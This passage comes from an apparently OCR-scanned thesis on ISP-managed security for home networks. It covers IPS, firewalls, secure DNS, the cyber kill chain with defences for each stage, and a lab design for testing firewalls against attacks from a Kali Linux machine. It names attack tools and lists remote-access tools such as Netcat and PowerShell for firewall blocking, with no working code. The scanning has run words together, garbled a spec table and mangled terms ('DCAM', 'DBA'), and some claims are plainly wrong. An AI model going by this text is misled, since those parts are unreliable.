EPP quickly detects malicious code and threats. EPP can be combined with the EDR Endpoint
Detection and Response module to protect against zero-day vulnerabilities and detect more
advanced threats such as polymorphic attacks and fileless malware. With continuous

monitoring, the EDR solution can offer a better view and give a number of response options.

2.3.2 INTRUSION DETECTION AND PREVENTION SYSTEMS (IDS/IPS)

An intrusion detection and prevention system are network security mechanisms for threat
prevention and detection. It processes all network traffic flows to detect and prevent
vulnerability exploits. These vulnerability exploits occur when malicious code is keyed-in to a
targeted application or to a service that malicious users use to disrupt and obtain control of an
application or a system. After an exploit, the attacker can disable the targeted service, which
causes a denial-of-service state and advance access privilege rights and permissions accessible

to the compromised application.

There are a number of ways to detect exploits, but there are two major methods, i.e., signature-

based detection and statistical anomaly-based detection.

Signature-based detection is a method based on a dictionary of distinctively recognizable
patterns called "signatures of code™ in each exploit. When an exploit isdiscovered, its signature
is logged and saved in a constantly growing dictionary of signatures. These IPS signatures are

further broken down into two types:

2.3.2.1 EXPLOIT-FACING SIGNATURE

Exploit facing signatures trigger the unique pattern of attempt, i.e., by identifying exploits
generated on the unique patterns of a specific exploit. An IPS can detect exploits by matching

an exploit-facing signature in the traffic stream (Ninawe etal., 2019).
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2.3.2.2 VULNERABILITY-FACING SIGNATURE

These are broader signatures that mainly exploit the underlying vulnerability of systems that
are used as targets. Such signatures protect against a variety of exploits that are not directly

observed, which increases the risk of false positives.

An IPS provide analysis of negatively selected files for malicious content. On the contrary, an
IDS is a passive system that analyses traffic flows and reports back on threats—an IPS
aggressively analyses traffic flows and actively takes actions on the traffic that makes its way
into the network. Such actions include generating alarms, connection resets, traffic drops

(malicious traffic), and blocking traffic from specific sources.

IPS should efficiently work to avoid any adverse effect on performance. It should operate
swiftly because exploits take place in near real-time and accurately detect and respond to

eliminate threats and false positives (legitimate packets misread as threats).

Anomaly detection takes sections of traffic flow at random and matches them to a pre-
determined standard performance stage. If the traffic flow is beyond the parameters of the

defined standard performance, the IPS acts to manage the situation.

2.3.3 FIREWALLING

Firewall devicesare used to protectthe network. Itdoesnotallow any authorized traffic to pass
through the network. Firewalls come in various form factors, depending upon where they are
placed. These devices are usually placed at the edge of the network, usually connecting to the
internet. Firewalls require configuration to work. These configurations are usually known as
"security policies.” These security policies permit the traffic in the network and out of the
network, and who can access what. All this traffic to and from any endpoint dependson the

policies defined on the firewall (Haar & Buchmann, 2019).

The firewall can have multiple zones, i.e., an inside zone, an outside zone, and a DMZ zone.
The purpose of these is to define the traffic trust level and, through the help of the policies,
traffic only moves between these zones. By default, all traffic from the outside zone that is
going to the inside zone is dropped. Inside zone traffic only allows traffic from the DMZ zone.

DMZ zone traffic allows traffic from outside and passes it on to the inside zone depending on
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the policies. These policies are dependent on the five tuples of TCP, i.e., the source IP address
from where the connection is initiated and the source port, i.e., from which port the connection
from the source IP is initiated. The destination IP address is the IP address for which the
connection is initiated by the source, and the destination portis the port to which the hosted
service can be connected to an incoming connection. The last thing is the protocol, which is

defined asthe setof rules by which communicationbetweensourceand destination takes place.

The firewall also maintains logs, but it should be configured for the type of events, alarms, and
warnings it should monitor and keep logs of. This helps understand the traffic and its pattems.
Italso logs traffic that is denied access to the network. This helps understand if some malicious
user is trying to break into the traffic and also helps if something needs access and can be

permitted as per security policy. Logs can be configured to be exported for detailed analysis.

Operating with firewalls can be tough for users who do not have the technical knowledge or
do not understand IT security and its protocols. It would be good practice if ISPs managed
these firewalls. As ISPs have the required set of skills to operate firewalls, they can send the
pre-configured firewalls to their users. Usually, the general pattern of traffic is flowing out of
the network, and the NGFW new generation firewalls are stateful firewalls that keep track of
traffic that is flowing out fromthe inside of the network and let that traffic come back in when
it returns. This pattern is known as stateful firewalls, which maintain session records, i.e., five-
tuples. All firewalls can be managed from one central point. These policiescan be configured
from there. Any configuration, policy change, or upgrade can be performed from this central
point by changing it manually or scheduling it at the most suitable time to prevent service

disruption.

2.3.4 SECUREDNS

A DNS domain name server is a system that is responsible for translating registered names to
IP addresses. When a user enters a URL into a browser to access a web service, that name is
translated to an IP address because all services and hosted services are servers/hosts with IP
addresses (local IP address RFC 1918), and these IP addresses are then translated to public IP
addresses, and the name of the service is entered in the register against the public IP address.
Upon receiving a request for that nameserver like google.com, the DNS tells which IP to use

to access those services or send traffic to. DNS servers are hosted by the ISPs they serve. If
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secure DNS is procured, it can prevent users from lots of harmful attacks and provide secure
traffic to users as it will send or allow traffic from legitimate servers and prevent traffic from
malicious URLs (Blacka, 2007). This can be very helpful in combating attacks like fishing,
whaling, ransomware, etc. Secure DNS maintains a list of all secure URLs and only permits
traffic to those thatare signed URLS; otherwise, itdrops the traffic. DNSalso provides features
like content filtering, which blocks sites known to distribute spam, malware, and botnets, and
blocks communication with known botnet masters. Also, there are third-party secured DNS
servers available that are free to use, and users can switch their DNS server by changing a

single IP in the gateway.

2.3.5 ANTI-MALWARE PROTECTION (AMP)

An anti-malware program, commonly known as AMP, is a piece of software that protects
computers and networks from malware like spyware, worms, and adware. It scans systems and
networks for malicious software that is forced into the system. An anti-malware program is the
best tool to keep the computer system safe and the information protected. Although it has a
resemblance to antivirus software, anti-malware is distinct from antivirus software. Anti-
malware software has more advanced features and broader coverage than antivirus software
(Zeijlemaker et al., 2018). It blocks spam, spyware, and other threats, which antivirus software
doesn’t. Anti-malware normally has advanced malware protection technology, depending on
the software features, which may vary.

AMP works by monitoring and recording patterns. Through this technique, AMP identifies
malware based on its nature, characteristics, and behaviour. Anti-malware do not match files
to known threats; instead, if a file exhibits suspicious behavior, the anti-malware will identify
it as a threat. It keeps an eye out for suspicious files that could harm a computer or network
using the pattern monitoring technique. This feature enables AMP to detect malware more
easily, as an anti-malware program doesn’t have to scan a file anymore. With its behavior in
the system, malware is identified.

AMP also works usinganothertechnique called "sandboxing."” Through this technique,an anti-
malware program isolates any suspicious file. AMP keeps these files in the sandbox to perform
further analysis. Threats are immediately removed, while other files are permitted but will be

continuously monitored. Sandboxingis another good way to keep malwarefrominfecting other
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files, segregating harmful software from legitimate applications and preventing itfrom causing

further damage.

If malware is detected, AMP removes it, prevents it from execution and infects it further. If a
similar type of file reaches the system again, it will be removed automatically,and AMP will
prevent it from installing.

There are a number of benefits AMP offers. It is regularly updated and generates alerts.
Malicious usersare keptoutas such usersuse malware to gain access to the system. With AMP
installed, users can have peace of mind that it is guarded. With AMP, users have the assurance
that their data is safe and protected. AMP also keeps your system junk-free; it will notify you

if junk files are consuming memory space and can be freed up.

2.4 CONCLUSION

This chapter initially focused on the home network and the types of users a typical home
network has and what devices are operated on a home network, along with the future prospect
of how technology is evolving, and users are getting their hands on the newest and greatest
technology available at their disposal. While of all these factors, these users at home also
constitute a remote workforce as well, which has their company's given device, or in some
cases, this workforce also uses their own computers to work and operate. These
workforce/remoteworkingemployeesdo nothave sufficientknowledge of IT security. All they
have available is an ISP-provided internet connection. The internet connection could be wired
or wirelesswhen given exposure. Thisbrings lots of vulnerabilities of all sorts into the network
and posesagreat risk. These risksare tickingtime bombsbefore they cause avery bigincident.
After all, it takes one vulnerability to be exploited to cause a large irreversible effect. This
cyber incident causes serious damage and can ripple from home users or remote workforces to
companies, corporates, andeven governments. No one is safe as these threats are everevolving
and malicious users are gettingmore sophisticated, moreequipped, and have far more resources
available at their disposal. The issues of security and platform security arise: how can a home
network be secured? to help home users who are not security-aware and lack even basic

knowledge of cyber security.

Considering the scenario at hand, their models were discussed in the next section, which was

thin, intermediate, and thick models. These models were discussed while considering two
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parties: the home user and the internet provider, or ISP, sharing responsibilities. Home users
can choose any security model, and the ISP should provide services in accordance with the
agreed service, depending on what legal responsibilities and SLA were agreed upon between
the two parties and affordability. The role of the government was emphasized as playing a role
in engaging ISPs to provide security to non-corporate customers, as ISPs have sufficient
resources to engage with the economy. With customer support, ISP professionals will help to

improve the overall security posture of the home network.

There are a number of vulnerabilities that exist in a home network as it is not governed by
security professionals butdependent on the knowledge ofhome or common users, which means
they mostly do not understand security and its frameworks. There are categories of threats that
were highlighted which are applicable to home users and are not limited but ever evolving as
technology is evolving and providing a wider attack surface and threat vector for threat actors.
Threat actors exploit vulnerabilities in a home network by employing a number of different
attack typesto take control ofthe system or extractthe imported data from it. This can sabotage
a reputation by leaking private data to the public. At some point, these could be secrets and

sensitive information may also leak, which is a huge risk and a bigger threat to concerning

bodies.

To protect home users, the ISP role would be very dominant as they have users' trust by
providing the internet and its related services. If these ISPs come forward and procure
sophisticated security solutions that are greatly scalable using an economy of the scale model,
they can manage and provide security or extend security services to home users. Over time,
they can also educate home network users on how the home network security posture can be
improved by bringingthe security governance feature into their services. Some of the solutions
that were discussed that can be placed centrally at the ISP level are very effective at combating
security challenges, and other solutions were discussed that are placed on the home network
butare ISP managed and controlled. Furthermore, we will discover more about such solutions
in our study, try them, test them in a controlled environment, and note down our observations

in the subsequent chapters.
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CHAPTER 3

Chapter 3: RESEARCH METHODOLOGY

3.0 INTRODUCTION

In this chapter, we will discuss the methodology employedin designingthe network for testing,
validating, and evaluating the network guarded by firewalls based on the thin security model
(Kritzinger & von Solms, 2010). This chapter includesa discussion of the tools and techniques
used to simulate a home network and the introduction of a managed firewall based on a thin
model (Kritzinger & von Solms, 2010) into the network. The evaluation of firewall packages,
which is the objective of the research, shall be evaluated. Multiple vendors' firewall packages
suitable for home users shall be evaluated. To simulate the attack on the home network,
multiple tools from Backtrack, aka Kali Linux, will be used. A home network in which
simulation will take place will be a controlled environment using the ethics of ethical hacking
philosophy (Seema & Ritu, 2019). Evaluation of the features set offered by the firewall vendors
based on the claims made concerning their effectiveness in protecting home networks and
efficiency will be observed.

3.1 KiLLCHAIN

Kill chain is developed by Lockheed Martin. The cybersecurity kill chain is a model for
describing the steps an attacker must complete to carry out a successful attack. The model is
made up of seven sequential steps, including reconnaissance, weaponization, delivery,
exploitation, installation, command and control, and final actions with the aim of disrupting
the attack (Tarnowski, 2017). One or more of these moves must be broken for the entire chain
to fail, and in order for us to do that, we need to understand their playbook using the NIST

cybersecurity framework as a reference.
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3.1.1 RECONNAISSANCE

The first step of any cybersecurity attack is to gather information about the victim, also known
as reconnaissance. The two different stages of reconnaissance are passive and active. During
the passive reconnaissance stage, an attacker will use indirect methods to gather information
from publicly available sources (Engel, 2014). Google shows job listings and company
websites. Once an attacker has collected as much public information as possible, they move on
to active reconnaissance. This involves some level of interaction with your organization.
During this phase, the attacker will actively probe your network system, looking for open ports
and services. This includes technical tools like Nmap for port scanning and banner grabbing
and vulnerability scanners. Vulnerability scanners are very loud and obvious, so attackers will
usually limit their scope or slow scan over a period of time to avoid being caught. Defending
against passive reconnaissance means limiting the level of detail we expose publicly. That
means limiting the information put on job postings. Training personnel on acceptable use of
social media sites and removing specific error messages from public servers. The first
protective measure is to ensure that unused ports and services are disabled. This limits the
number of entry points an attacker can use to get into your system. Honeypots are a great to ol
that can be used as a decoy against a would-be attacker. Not only do they divert attention away
from real systems, but it also reveals what they're after and who they are. A firewall with IPS
capabilities on the perimeter will provide filtering and segmentation while also monitoring for
port scans and banner grabs. The entire purpose of the reconnaissance phase is to find a
weakness that can be exploited, and once that weakness has been discovered, the attacker can
proceed to the next step.
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3.1.2 WEAPONIZATION

In the weaponization phase, once an attacker has found a weak spot, their next step is to
discover or create an assault so one can exploit that vulnerability. The weapon of choice will
rely on the statistics collected during the reconnaissance step (Tarnowski, 2017). Some usually
used weapons at some stage in this section are tools like Metasploit or Exploit DB. These are
repositories for recognized exploits. A commonly used framework, "The Beal", is used to
generate evasion code from malware social engineering toolkits. If it is determined to deliver
the malware via social engineering campaign, and plenty of others, given that this degree is all
approximately what the attacker uses as a weapon, it needs to have some of the fundamentals
included, and that includes such things as patch control. Because it cannot take advantage of a
vulnerability if there isn'talways one to take advantage of, unpatched servers remain the supply
of the significant majority of today's breaches. There are workplace macros, JavaScript, and
browser plugins that are all known ways for an attacker to take advantage of, so disabling these
will also greatly reduce exposure. Some technical controls are also observable to some degree,
like any antivirus at the endpointand perimeter to protect against known malware. An IPS is
specifically configured to search for an exploit, tries in preference to simply port scanning and
banner grabbing as within the reconnaissance stage. Email safety that includes antivirus and
anti-adware features may be enabled in the course of this segment. The attacker is preparing
which tool to apply, but certainly has not delivered the attack up till now.

3.1.3 DELIVERY

The delivery phase is where there one or multiple avenues to deliver the weapon (Tarnowski,
2017). The delivery of the attack is determined by the kind of attack, but some common
examples can include things like websites, malicious or clean. An attacker can infect a
legitimate website they know users frequently visit, like social media or user input. This means
the attacker hassome level of interaction with a public server like awebsite or a database email.
If the attacker has found a partner your company uses during the reconnaissance phase, they
can embed malware into an order formthat employees are more likely to open if they fish the

email to make it look like it is coming from a partner.

Common USB attacks, leaving infected USBs in public areas and around employees’ cars,
hoping the temptation for them to put them into their laptops is too much. User awareness is
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the single most effective security measure against the attack's delivery. This demands in
organizing security training and phishing campaigns that educate users the fundamentals of
good security practices. The protective measures that were previously discussed in the
weaponization stage still apply, along with a few more measures that can be utilized to restrict
the threat vector that an attacker can engage, email security but specifically DCAM and SPF.
DCAM and SPF are email authentication methods to detect spoofed emails. SPF makes sure
that emails are coming from an authorized IP of the domain, while DCAM uses digital
signatures to verify authenticity. Both processes help ensure the emails are coming from
genuine and authorized channels. Web filtering can restrict a user from accessing suspicious or
known malicious websites. Disabling USBs and not giving users admin privileges additionally

prevents a large part of the delivery mechanisms and malware typically used.

DNS filtering blocks web requests that are destined for malicious sites. Using a secure DNS
solution can block any DNS lookup request attempt to prevent communication across every

protocol. Itis usually used in addition to web filtering.

Nowadays, it is observed that SSL is responsible for the majority of web and email traffic seen
today on the internet, so if SSL inspection is not done in delivery channels, it can cause

complete blindnessto what's passing through those encrypted tunnels.

3.1.4 EXPLOITATION

The attacker has successfully delivered the weapon of choice to the target during the
exploitation stage, and the attack has been carried out. This highlights failure in keeping the
weapon out of the environment, and the attacker's only option is to conduct an exploit by
actuating the trigger. The exploit resulted in a memory overflow, followed by a malware
injection that was undetected by the antivirus solution. An endpoint exploit was carried out on
anoldversion of JavaScript, and many other defensive methods are inadequate after an attacker

successfully carries out the exploit, but there are a few that do exist.

Data execution prevention (DEP) is a feature that is available in software and as hardware that
attempts to prevent code from being executed in memory of which it is not a part. Some
antivirus solutions include an anti-exploit feature that monitors recognized applications for
abnormal memory calls. Both methods serve as the last line of defence against known exploit

actions. When an attacker reaches this point, they rely on posts and tools like a sandbox to
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detect exploits that have already been executed. A sandbox has capabilities that are helpful in
prevention but that are dependent up on the scenario. In most network environments, that is
commonly referred to as "patient zero". A Patient Zero is an unknown file that is seen for the
first time on the network. Any person who downloads this file will be infected, as malware
analysis is time-bound and can take time. However, if the sandbox determines that the
downloaded file is malicious, it can block it, protecting all other users from getting infected
and further it will generate an alert to notify that patient zero is infected and proceed with
mediation and recovery procedures. Itis importantto note thatan exploitutilizes a vulnerability
in an application or operating system, butit is not the end of it. The exploit's goal is to gain

higher privilege access.

3.1.5 INSTALLATION

The exploitation and installation phases are interconnected. From the perspective of an
attacker, a successful exploit allows the injection of a payload that will give an attacker higher
privileged access to be successful in its objectives. Privileged access enables attackers to
control the target at will in the future, even after the system has been patched for its previous
vulnerabilities or rebooted. Known payload tactics used during the staging phase include DLL
hijacking, injecting Meterpreter or similar payloads, and installing a remote access tool, also
known asarat. Meterpreter orsimilar payloads, and installinga remote access tool, also known
as a rat. In this attack, registry changes are made to make a system start up automatically or to

persist and execute PowerShell in a file.

At this stage, an attacker has reached a point in the system where there are very few defences
available. CHROQT jail can be used on Linux-based systems to isolate processes from the rest
of the system, which will limit malicious file access to the data. PowerShell can be disabled
entirely on Windows-based systems that do not require it. Certainly, there are some excellent
post-infection tools available. User Behaviour Analysis (UBA) or Endpoint Detection and
Response (EDR) solutions should flag any new unauthorised programme that has been
installed, as well as detect any changes to registry and system processes, and should monitor
system files and the registry for unusual activities. Unauthorized system changes, processes,
and registries should trigger an event and an alert. The monitoring teams should have a SOP
defined at length or have a complete plan in place for this type of event, long before it reaches

this stage. This should include identifying the device if it is mission-critical, removing the
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device from the network, changing users' log-in credentials, and so on. Once it is determined

that a system is infected, the process of its restoration to a known working state can begin.

3.1.6 COMMAND-AND-CONTROL

At this point, the system has been entirely compromised and is under the attacker's control. If
the preceding steps were executed precisely, the attacker's access remains even if the system
reboots or has a passive vulnerability. The infected device could begin carrying out the
objectives right away, or it could wait for further instructions from its command-and-control
server. Defense strategies will focus on limiting what they can control and detecting strange
actions. The first step in limiting the impact of a breach is segmentation. The use of
segmentation will make it more difficult for the attacker to move across and will make it
simpler to detect using audit logs. Even better is the ability to perform micro-segmentation via
a zero-trustsecurity model, leavesthe infected user completely isolated on a port (Engel, 2014).
A database of known command and control servers is included in the majority of next-
generation firewalls. Aiding this capability will aid in preventing known bad actors from
gaining remote access. There is also a plethora of free and paid DNS servers available that
provide botnet and command and control protection at the DNS level. Attackers frequently
employ evasion methodssuch as DBA or fast flux to generate a huge number of domains that
serve as rendezvous points. Connections to these common hubs will be terminated if access to
recently observed domains is denied.

Next-generation firewalls (NGFW) make use of layer 7 application control to block frequently
used remote accesstools such as telnet, SSH, Netcat, PowerShell, RDP, and other protocols. If
there is a business case for using such tools, you have no business leaving your network open
by restricting such access from specific sources. An attacker will practically every time employ
an encrypted connections to avoid detection, so if full SSL deep packet inspection is not
performed, there will be complete blindness to any communicationattempts goingthrough that
tunnel for detection indicators of compromised or I0Cs (Indicators of compromise), which are
also excellent post-detective tools. An 10C (Indicators of compromise) is a user servers
monitored behavior i.e., revelation of a breach. It can be detected and stored on the endpoint
or by a syn device with IOC supported actions on the target, with the target host now infected

and the attacker is in the complete control.
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3.1.7 ACTIONS AND OBJECTIVE

To carry outan action to accomplish the goal. The motivation of the attacker leads the action,
so determining the kind of attacker who may be aiming at an organization is very critical. If
the goal is data exfiltration, an attacker may be encouraged by financial motives, while small
nation-state malicious insiders may simply want to move across to go after a more critical
system on the network (Spitzner, 2019). Endpoint tools that prevent data from moving off the
endpoint or server, such as DLP (Data Leakage Prevention) or UBA (User Behavior Analysis),
have abuilt-in capability thatdetects and prevents particular files from moving off the network.
The concern is that if an attacker has already got access to the system, taking a screenshot of a
protected document will not be detected by most of these tools. Lateral movement is a known
technique used by attackers to obtain admission to a system. At this point, the reconnaissance
phase starts again in order to discover more about the internal segment of a network. As a
result, network segmentation between various authorization levels is critical in a network
design. The zero-trust security model is based on the idea that everyone will ultimately fall
prey to this phase of the kill-chain by eliminating the concept of trust on the inside segment of

a network, which negotiates with all users as untrusted until proven otherwise.

3.2 RESEARCH APPROACH

Home networks connected to Internet has access through ISP provided modem which is a
gateway to it and all traffic passes through in and out of this single point. If we replace the
modem which is essentially a gateway to the internet with a Firewall that is designed to protect
the network. Firewalls protect the network from attacks there are various kinds of firewalls in
the market, and each has a different approach to protecting the network mainly these firewalls
distinguish the network into two i.e., inside network and outside network. Here inside of the
network will be deemed as home network and outside network will be deemed as the Intemet.
Firewalls provide protection by segregating these two segmentand work as a barrier to does
not let any traffic through it, permit traffic that is authorised to pass and denies any
unauthorized access to the inside network from outside. Firewalls has the main role in

protecting the network and are the only line of defence against threats.
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Firewalls are available in various forms, factors, and capacity but in our testing, we will only
focus on the firewalls which are suitable to protect the home network (Chintalapudi & Varma,

2016) known as scalability. The testing of firewall done will be based on the given approach:
e Penetration testing
e Testing of the firewall implementation
e Testing of the firewall rules

e Testing of firewall feature as claimed in the datasheet by the vendor

3.2.1 DESIGN SETUP

The testing model enables the progression of research questions to help the study achieve its
objective. The research questions and simulation determined the type of data needed for the
tests as well ashow data processing and analysis are mostappropriate for testing the hypotheses

and thereby answering the research questions.

Hacker's_Target

I

B Win7PC

I
I
I
I
I HOME_NETWORK
I
I
- 1

T 11
- @G} IR oz @
Out5|de Segment - Inside segment

[ ] KAIJ Linux Firewsll W Switch

1
|
1
| A
I =

I H

I W KALL Linux
1

1

Figure 3-2 Testscenario

This section will shed light on the design section of the lab, elaborating the devices involved
in the Lab setup simulating the home network, subsequently emphasizing the process
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simulating real-world exploit, by working through the penetration testing process flows of
Ethical hacking.

In the given topology there 2 users Alice and Bob. Each of these users is connected to different
zones of the network Alice is connected to outside zone and will be acting as the malicious
user who will be conducting various attacks using the machine Kali Linux, on the user Bob
who is connected to the internal segment of the network and representing the home user on the
machine with PC having Windows OS on it. In the middle is sitting our firewalls which will
be the gateway for the Bob home network, this firewall is joining two networks together by
routing traffic in between these 2 segments. We have packet sniffers connected inside the
network to observe what traffic from the outside makes it through from outside to the inside of

the network.
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3.2.1.1 ENDPOINT DETAILS (INSIDE NETWORK)

Any personal computer or personal computer required an operating system to work with. There
are arange of operating systems available to work within the markete.g., Linux, Unix Android,
Centos, Solaris, Ubuntu to name a few of them. Windows Operating system by Microsoft is
the most common operating system used anywhere in the world. It is very popular as it is very

user friendly due to its graphical user interface (GUI). There are many flavours and versions of
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windows OS available as per requirement. Windows editions are available in a variety of home
addition to professional versions. There are also various server editions available, which are
commonly known as Windows servers edition. Due to its popularity and high adaptation in the
market Windows provide a huge platform for development. There are millions of applications
developed on the windows platforms for Windows users. Due to such huge development in the
application space there nottoo many applications developed considering security as their target
hence offer zero-day vulnerability and become the target of zero-day vulnerabilities attack

[SHN] providing threat surface to malicious users.

In the test lab, Windows OS will be used as a targetmachine simulating the home user machine
to record the vulnerabilities. This machine will be connected to the inside segment of the test
firewall. In the lab setup, the malicious user will initiate malicious traffic using tools in Kali
Linux targeting machines running windows OS which is connected on the inside ofthe firewall

segment.

3.2.1.2 ENDPOINT DETAILS (OUTSIDE NETWORK)
Generally, there are four main phases of assessments in information security that are as:
i.  Vulnerability assessment
ii.  Compliance
iii.  Penetration testing
iv.  Application assessment.

Various methods are employed to identify security wvulnerabilities and security
assessment(Cisar et al., 2018). using tools Kali Linux also known as “Backtrack” operating

system (OS) offers.

Kali Linux is an operating system thatis based on Debian-based Linux distribution. Ithas more
focus on advanced penetration testing (pen testing) and ethical hacking. Kali Linux number of
tools that are designed to perform a variety of information security tasks, like pen testing,

vulnerability assessment, forensics tasks and reverse engineering (Cisar et al., 2018). The term
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ethical hacking refers to with permission of the owner to perform tasks to identify

vulnerabilities and exploit those security vulnerabilities in the network or any host.

Kali Linux offers various hacking tools in one place which considerably enables users for
vulnerability assessment and security testing. Kali Linux is an open-source and is easily
available. Codes in Kali Linux can be seen publicly, and the Git tree makes it easy to see the
expansion of coding progression. Kali complies with FHS (File-system Hierarchy Standard),
allowing users to effortlessly discover binaries, libraries, etc. Due to this very important feature,

Kali Linux stands out among the other Linux systems.
Kali Linux has a variety of tools available and can be classed into the following categories:
Reverse engineering
i.  Web applications

ii.  Stress testing

iii.  Information gathering

iv.  Vulnerability analysis

v.  Sniffing & Spoofing

vi.  Password attacks
vii.  Wireless attacks
viii.  Maintaining attacks

ix. Exploitation tools

X.  Forensics tools

xi.  Reportingtools

I.  Hardware hacking
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Kali Linux OS is a comprehensive diverse range of tools that are feasible to perform ethical
hacking and testing. In our test method, we will use Kali Linux as an endpoint on the outside
of the network of the firewall, conduct attacks directed towards the inside of the firewall
network and see possibilities in form of pre-connection attacks and observer the effects in
successful gaining access, post connection attacks and website hacking and highlighted their
specificities or all this malicious traffic being sent from outside of the network of the firewall
are dropped. Essentially Kali Linux in this scenario will the tool for the malicious user to direct

attacks and send malicious traffic to test firewall features sets.

3.2.1.3 FIREWALLS

The 3rd major component of the test lab setup is a firewall. In this test setup firewalls will act
as a gateway i.e., joining inside and outside network segments together, just like any network
needs a gateway to send the network traffic in or out, in this setup firewall will work as a
gateway. All traffic will pass through it. By default, firewalls filter all traffic between the
segment it doesn’t let the traffic flow between the segment until explicitly defined or allowed
to pass in between and this is done through the rules. These rules work on the 5 tuples i.e.,
source IP, destination IP, sources port, destination port and last protocol. In the rules section of
firewalls, these rules are known commonly based on the security policies which defines what
traffic is allowed from which source, allowed to which destination, traffic can be source-
specific, destination-specific, protocol-specific, we can also define what sort of traffic can and
in which direction. Also, next-generation firewalls (NGFW) can filter contents and web traffic
base on the security policies these rules are configured(Garbis & Chapman, 2021). These rules
can be added, removed, and updated as per need and request bases hence securing the network

and only allowing which is deemed as secure.

There are many firewall vendors but in our test lab, we will test firewalls by Fortinet, Cisco

Meraki MX series and Archadyan vRV9517.

3.2.1.4 FORTINET FIREWALLS

Fortinet (NASDAQ: FTNT) secures the largest enterprises, service providers, government
agencies and organizations around the globe. Fortinet enables its clients with smart, unified

protection across the increasing attack surface and the ability to take on growing operational
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needs of the borderless network—in present and into the future. Fortinet Security Fabric
architecture provides protection without compromise to deal with the most significant security

challenges, in a network, in an application, in a cloud, or in a mobile environment.

Everyday Fortinet FortiGuard Labs employs one of the most efficient and established artificial
intelligence (Al) and machine learning (ML) systems in the industry to handle and investigate
more than 100 billion incidents daily, send actions in real-time threat intelligence to its clients.
The blend of FortiOS, purpose-built SPU technology, and Al-powered threat intelligence

showcases the Fortinet commitment to cybersecurity innovation and excellence.

Fortinet has a flagship firewall platform called FortiGate. FortiGates are available in a broad
range of selection to choose from and in various form factors which suit any environment and
provide a wide range of next-generation security and networking features. The model which

will be used in our lab for testing will be the FortiGate 30E series.

3.2.1.4.1 FORTIGATE30E

The FortiGate 30E series provides a secure, scalable and Software-Defined Wide Area Network
(SD-WAN) solution in a compact fan-less desktop form factor. Protects against cyber threats
with system-on-a-chip acceleration and industry-leading secure SD-WAN in an easy,
inexpensive, and effortless to implement. Fortinet’s Security Driven Networking methodology
offers strong integration of the network with the innovative era of security. Given are the main

features of the FortiGate 30E firewall

FortiGate 30E security diagnoses thousands of applications in the network transport for deep
check and granular policy implementationand guards against malware, exploits, and malicious
websites equally in encrypted and un-encrypted flows, prevent and detect against known and
unknown attacks by employing continuous threat-intelligence which is Al-powered FortiGuard
Labs security services. FortiGate 30E Network delivers a high-density, scalable blend of high-

speed interfaces to enable customers for connectivity.

Management Includes a console that is efficient, easy to use and offers broad network
automation and visibility. Offers Zero-Touch Integration with Fortinet’s Security Fabric’s

Single Pane of Glass Management.
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FortiGate 30E provides a full view of users, devices, applications through the entire attack
surface and uniform security policies regardless of location. It defends against network
vulnerabilities with industry recognised IPS, which features low latency and improved network
performance. Proactively subdues the latest recognised sophisticated attacks in real-time with

Al-powered FortiGuard Labs and advanced threat protection services included in the Fortinet

Security Fabric.
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Figure 3-4 FortiGate 30E Specifications

FortiOS is the operating system of FortiGates the core is FortiOS and it is the foundation of the
Fortinet Security Fabric. Across FortiGate platform entire security and networking, operations
are operated with this one intuitive operating system. FortiOS decreases complexity, budget,

and reaction time by truly unifying next-generation security offerings and services.

3.2.1.5 MERAKI FIREWALLS

Meraki is a cloud-managed IT company and has headquartered in San Francisco, California.

Meraki offers products that include wireless, switching, security, enterprise mobility
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management and security cameras, all centrally managed by a single pane of glass from the
web. Meraki was acquired by Cisco Systems in December 2012. Merakiis a solution-based
service provide which allow their customers to manage their mobile devices, computers to
ensure security with high-end security cameras and its high-density WiFi is one of the best

solutions.

Meraki offers secure cloud-managed networking and what that means is Meraki primarily
named it solely for user pain points users who want to have a robust network platform that they
can build technologies on their own but it's not something they want to bog down in managing
and that's why by design Meraki is simple it secure to enable massive amounts of data to be
transmitted via the network in a way that's not only safe for users but secure in that encrypts
everything to ensure there is no ability for unwanted access to be granted to that data on top of
that as well as cloud-managed. Meraki decoupled the control plane from the actual logic plane
and in doing that it enables things like remote troubleshooting so if users got multiple sites that
are quite geographically dispersed Meraki could manage them really easily if users gota lean
IT skill, they could do monitoring and managing the network easily and that's where morality

really plays in the industry understand Meraki now fits into the pace.

3.2.1.5.1 MERAKI MX 64 FIREWALL

The Cisco Meraki MX are multipurpose security and SD-WAN device with a broad set of
functionalities to address multiple use cases. It is suitable to users of all sizes and across all
industries depending on the MX to deliver secure connectivity to hub locations or multi-cloud
environments, as well as application quality of experience (QoE), by means of advanced
analytics with machine learning (ML). The MX device is 100% cloud-managed, so installation
and remote managementis truly zero-touches, making it ideal for distributed locations. MX
devices are natively installed with a broad suite of secure network and assurance capabilities,

removing the need for multiple appliances.

MX devices are capable of application-based firewalling, content filtering, web search
filtering, SNORT®-based intrusion detection and prevention, Cisco Advanced Malware
Protection (AMP), site-to-site Auto VPN, client VPN, WAN and cellular failover, dynamic path
selection, web application health, VoIP health, and more. Layer 7 fingerprinting technology

lets administrators detectunwelcomed content and applications and stops recreational apps like
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BitTorrent from wasting precious bandwidth. MX device also has an integrated Cisco
SNORT® engine which provides enhanced intrusion prevention analysis. The MX also uses
the Webroot BrightCloud® URL categorization database for CIPA/IWF-compliant content
filtering, and MaxMind for geo-IP-based security rules. Above all, these industry-leading Layer

7 security engines and signatures are always up to date via the cloud, streamline network

security management and provide peace of mind to its administrators.

Network and Security Services

Menitering and Management

Stateful firewall, 1:1 MAT, DHCE DMZ, static routing

Wb based management and configuration

dentity-based policies

Throughput, connectivity monitaring and alerts

Auto VPN™ self-configuring site-to-site VPN

Metwork asset discovery and user identification

Cliznt VPN {IPsec)

Built-in network-wide reporting, monitoring and alerts

Uszer and device guaranting

Centralized policy management

VLAN support and DHCP sarvices

Advanced Security Services

Content filtering (Webroot BrightCloud CIPA-compliant URL databass)

Web search filtering {incleding Google 2nd Bing SafeSearch)

Rezl-time diagnostic and troubleshooting over the web

Automatic firmware upgrades and security patches

Searchable network-wide event logs

Interfaces

YouTube for Schools

WAM: 1 =1 GbE

ntrusion prevention (SourceFire Snort based) LAK: 4= 1 GbE (1 optionzlly available for WAN connectivity)
Cisco Advanced Malware Protection (AMP) USB: 1 = USE 2.0 for 3G/4G failover (supported devices)
Requires Advanced Security Licenss

Performance

WAN Performance Management

Stateful firewall throughput: 230 Mbps

WAN link 2ggregation

WPN throughput 100 Mbps

Application level (Layer 7) raffic analysis and shaping

Automatic Layer 3 failover {including YPN connections)

WAN uplink selection based on traffic type

Recommended for small branches (up to 30 users)

Power

Single 18W power supply

Environment

